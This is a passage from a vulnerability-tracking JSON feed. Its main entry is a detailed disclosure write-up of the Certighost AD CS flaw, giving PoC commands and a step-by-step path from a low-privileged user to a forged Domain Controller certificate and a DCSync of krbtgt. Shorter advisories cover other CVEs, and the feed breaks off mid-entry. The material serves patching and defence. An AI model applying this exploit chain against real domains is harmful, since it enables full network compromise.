\u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 Kerberos \u0432 \u0444\u0430\u0439\u043b .ccache \u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044f NT-\u0445\u0435\u0448 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n\u0417\u0430\u0442\u0435\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438, \u043a\u0430\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 Kerberos \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 secretsdump \u043e\u0442 Impacket \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 DCSync \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 krbtgt.\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 PatchTuesday Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u0422\u0435\u043f\u0435\u0440\u044c \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0432\u00a0cdc \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0435, \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 \u0434\u043e\u043c\u0435\u043d\u0430 \u0432 Active Directory, \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u043d\u043e\u0435 \u0443\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u0435\u043d\u0438\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.", "creation_timestamp": "2026-07-28T14:00:04.776713Z"}, {"uuid": "76b3fc84-ae70-4a48-b9c2-f05b5a768f6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/TTDc5m9rjxOF-FLNkY4srXBXmccnJEZ8Ua1WlC6sUt3lKgo", "content": "", "creation_timestamp": "2026-07-28T14:00:05.095028Z"}, {"uuid": "acb61786-08ea-4f3f-82a5-d397ebec57f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54593", "type": "published-proof-of-concept", "source": "https://github.com/pterodactyl/panel/security/advisories/GHSA-8r6w-3qq5-4p4r", "content": "", "creation_timestamp": "2026-07-28T16:35:02.675031Z"}, {"uuid": "fd760d9e-2f0d-45ea-8671-1e35aaf88db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/IsmaelHMelville/d5a7ce4ce81707be9ab090a78fdd7b2e", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-28T16:43:12.854699Z"}, {"uuid": "965c57f4-6078-4dee-b195-ffd83c36ecc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54429", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-03", "content": "", "creation_timestamp": "2026-07-28T16:51:35.731519Z"}, {"uuid": "57edde7f-9930-4718-b145-021fe9e54574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54632", "type": "seen", "source": "https://bsky.app/profile/thestandup.bsky.social/post/3mrpve7kkpq24", "content": "SIPSorcery has a high-severity DoS (CVE-2026-54632): one malformed UDP packet on the RTP/ICE socket ends a media session. The receive loop turned a parse exception into a channel close, and it is reachable during ICE checks \u2014 before DTLS, so no auth needed. #dev", "creation_timestamp": "2026-07-28T17:04:21.767997Z"}, {"uuid": "a357fccf-23a0-4e3f-b5d8-01101423f13a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54718", "type": "seen", "source": "https://gist.github.com/alon710/bec19cdcf2926727440026551fd338c7", "content": "# CVE-2026-54718: CVE-2026-54718: Remote Code Execution via Advanced Workflow Email Template in Silverstripe\n\n> **CVSS Score:** 7.2\n> **Published:** 2026-08-27\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54718\n\n## Summary\nA Server-Side Template Injection (SSTI) vulnerability in the Silverstripe Advanced Workflow module allows authenticated attackers with workflow authoring permissions to achieve arbitrary code execution. By manipulating the NotifyUsersWorkflowAction.EmailTemplate field, attackers can inject template code that dynamically executes arbitrary PHP commands via the core translation helper interpolation path.\n\n## TL;DR\nAn authenticated template injection vulnerability in Silverstripe Advanced Workflow allows high-privileged users to achieve Remote Code Execution via translation tag interpolation.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-1336\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 7.2 (High)\n- **EPSS Score**: N/A (Recently Disclosed)\n- **Impact**: Remote Code Execution (RCE)\n- **Exploit Status**: PoC Available in Regression Tests\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Silverstripe CMS installations utilizing Advanced Workflow module (< 6.4.5, 7.x < 7.1.3, 7.2.x < 7.2.1)\n- **silverstripe-advancedworkflow**: < 6.4.5 (Fixed in: `6.4.5`)\n- **silverstripe-advancedworkflow**: >= 7.0.0, < 7.1.3 (Fixed in: `7.1.3`)\n- **silverstripe-advancedworkflow**: >= 7.2.0, < 7.2.1 (Fixed in: `7.2.1`)\n\n## Mitigation\n\n- Upgrade Silverstripe core packages to versions incorporating the hardened template parser engine.\n- Restrict raw web-writable execution patterns inside standard public directories.\n- Deploy Web Application Firewall rules targeting translation-tag nesting structures.\n\n**Remediation Steps:**\n1. Navigate to the root directory of the Silverstripe project.\n2. Run 'composer update silverstripe/framework silverstripe/template-engine symbiote/silverstripe-advancedworkflow'.\n3. Verify that silverstripe/template-engine is version 1.0.1 or higher (v6 projects) or silverstripe/framework is 5.4.30 or higher (v5 projects).\n4. Rebuild the template manifest using 'sake dev/build' or '?flush=all' in the browser.\n\n## References\n\n- [GitHub Security Advisory GHSA-39mm-rwm3-29jp](https://github.com/silverstripe/silverstripe-advancedworkflow/security/advisories/GHSA-39mm-rwm3-29jp)\n- [Pull Request #629](https://github.com/silverstripe/silverstripe-advancedworkflow/pull/629)\n- [Pull Request #630](https://github.com/silverstripe/silverstripe-advancedworkflow/pull/630)\n- [Silverstripe Core Security Bulletin CVE-2026-54718](https://www.silverstripe.org/download/security-releases/cve-2026-54718)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54718) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-27T20:32:16.461677Z"}, {"uuid": "5ddbffe1-51c8-4d06-a799-b9444cfce728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54754", "type": "published-proof-of-concept", "source": "https://github.com/klever-io/klever-go/security/advisories/GHSA-p7gw-2pcp-5pf8", "content": "", "creation_timestamp": "2026-08-28T18:35:41.928073Z"}, {"uuid": "d4a9b1f5-c9bb-4fab-bca6-0bca870d5cee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54890", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-erlang/otp-2", "content": "", "creation_timestamp": "2026-07-28T17:22:27.780722Z"}, {"uuid": "bc135a0c-0548-4286-b55c-e0ea335ed65e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54588", "type": "seen", "source": "https://gist.github.com/alon710/10debd6350fb30cffecd8ed90a44aae9", "content": "# CVE-2026-54588: CVE-2026-54588: Account Takeover via Host Header Injection in Poweradmin Authentication\n\n> **CVSS Score:** 9.6\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54588\n\n## Summary\nPoweradmin is affected by a critical Host Header Injection vulnerability within its Single Sign-On (SSO) and logout authentication mechanisms. The application dynamically constructs external redirection and callback URLs using the client-controlled HTTP Host header. An unauthenticated attacker can exploit this behavior to poison OAuth and SAML callback parameters, redirecting authentication credentials directly to a malicious external server. This allows full administrative account takeover without credentials when a victim accesses a manipulated authentication link.\n\n## TL;DR\nUnauthenticated remote attackers can capture OAuth authorization codes or SAML assertions by poisoning the client-controlled HTTP Host header during authentication initialization, leading to complete account takeover of Poweradmin administrators.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **Vulnerability ID**: CVE-2026-54588\n- **CWE ID**: CWE-20\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 9.6\n- **Exploit Maturity**: PoC / Manual\n- **Impact**: Administrative Account Takeover\n\n## Affected Systems\n\n- Poweradmin authentication flow components\n- **Poweradmin**: < 4.2.4 (Fixed in: `4.2.4`)\n- **Poweradmin**: >= 4.3.0, < 4.3.3 (Fixed in: `4.3.3`)\n\n## Mitigation\n\n- Enforce strict base URL validation using a static configuration value rather than HTTP request headers\n- Deploy a catch-all server block at the reverse proxy layer to drop unvalidated host requests\n- Configure strict redirect URI whitelist match patterns inside the Identity Provider configuration\n\n**Remediation Steps:**\n1. Locate the Poweradmin deployment directory and identify the running version\n2. Download and deploy Poweradmin v4.2.4 (if using the 4.2 branch) or v4.3.3 (if using the 4.3 branch)\n3. Configure the absolute base URL parameter inside the settings configuration file\n4. Verify that the reverse proxy is configured to discard requests containing invalid Host headers\n5. Confirm that the SSO Identity Provider does not allow wildcard matches in the Redirect URI whitelist\n\n## References\n\n- [Poweradmin Release v4.2.4](https://github.com/poweradmin/poweradmin/releases/tag/v4.2.4)\n- [Poweradmin Release v4.3.3](https://github.com/poweradmin/poweradmin/releases/tag/v4.3.3)\n- [GitHub Security Advisory 